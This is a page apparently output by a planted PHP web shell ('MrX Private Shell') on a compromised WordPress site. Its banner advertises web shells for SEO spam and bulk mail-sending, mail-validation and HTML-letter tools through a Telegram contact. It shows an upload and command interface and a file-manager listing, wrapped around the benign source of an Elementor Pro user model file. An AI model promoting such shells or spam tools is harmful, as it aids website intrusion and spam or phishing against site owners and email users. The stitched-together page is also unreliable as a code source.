__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

namespace ElementorPro\Modules\Notes\Database\Models;

use ElementorPro\Core\Database\Model_Base;
use ElementorPro\Core\Notifications\Traits\Notifiable;
use ElementorPro\Core\Utils\Collection;
use ElementorPro\Modules\Notes\Database\Query\User_Query_Builder;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}

// TODO: Should be in Core.
class User extends Model_Base {

	use Notifiable;

	/**
	 * User's ID.
	 * Note: Must be uppercase to correspond with the DB naming.
	 *
	 * @var int
	 */
	public $ID;

	/**
	 * User's actual user name.
	 *
	 * @var string
	 */
	public $user_login;

	/**
	 * User's nice name.
	 *
	 * @var string
	 */
	public $user_nicename;

	/**
	 * User's email.
	 *
	 * @var string
	 */
	public $user_email;

	/**
	 * User's URL.
	 *
	 * @var string
	 */
	public $user_url;

	/**
	 * User's status.
	 *
	 * @var int
	 */
	public $user_status;

	/**
	 * User's display name.
	 *
	 * @var string
	 */
	public $display_name;

	/**
	 * Casts array.
	 *
	 * @var array
	 */
	protected static $casts = [
		'ID' => self::TYPE_INTEGER,
	];

	/**
	 * Initialize a new `User` object from a `WP_User` object.
	 *
	 * @param \WP_User $user - WP_User object.
	 *
	 * @return static
	 */
	public static function from_wp_user( \WP_User $user ) {
		return new static( (array) $user->data );
	}

	/**
	 * Override the default Query Builder.
	 *
	 * @param \wpdb|null $connection
	 *
	 * @return \ElementorPro\Modules\Notes\Database\Query\User_Query_Builder()
	 */
	public static function query( \wpdb $connection = null ) {
		return ( new User_Query_Builder( $connection ) )->from( static::get_table() );
	}

	/**
	 * Get the model's table name.
	 *
	 * @return string
	 */
	public static function get_table() {
		return 'users';
	}

	/**
	 * Generate avatars urls based on user id.
	 *
	 * @param $id
	 *
	 * @return Collection
	 */
	public static function generate_avatars_urls( $id ) {
		return ( new Collection( [ 24, 48, 96 ] ) )->map_with_keys( function ( $size ) use ( $id ) {
			return [ $size => get_avatar_url( $id, [ 'size' => $size ] ) ];
		} );
	}

	/**
	 * Get the user's avatars.
	 *
	 * @return Collection
	 */
	public function get_avatars() {
		return static::generate_avatars_urls( $this->ID );
	}
}

Filemanager

Name Type Size Permission Actions
document.php File 1.99 KB 0664
note-summary.php File 1.5 KB 0664
note.php File 9.76 KB 0664
user.php File 2.2 KB 0664
Filemanager